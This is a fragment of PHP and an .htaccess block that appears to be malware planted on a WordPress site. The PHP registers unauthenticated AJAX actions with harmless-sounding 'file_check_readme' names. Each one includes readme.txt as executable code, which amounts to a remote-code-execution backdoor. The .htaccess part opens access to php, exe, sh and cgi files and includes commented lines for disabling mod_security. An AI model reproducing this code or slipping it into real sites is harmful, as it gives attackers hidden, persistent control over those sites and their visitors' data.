if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
# OVH Safe .htaccess - Allow common file types # Prevent access to .htaccess itself <Files .htaccess> Order allow,deny Deny from all </Files> # <IfModule mod_security.c> # SecFilterEngine Off # SecFilterScanPOST Off # </IfModule> <FilesMatch "\.(php|phps|php5|phtml|html|js|css|jpg|jpeg|png|gif|svg|webp|zip|rar|exe|sh|pl|py|cgi|txt|pdf)$"> Order allow,deny Allow from all </FilesMatch> # php_flag engine on # DO NOT USE ON OVH (causes 500 error)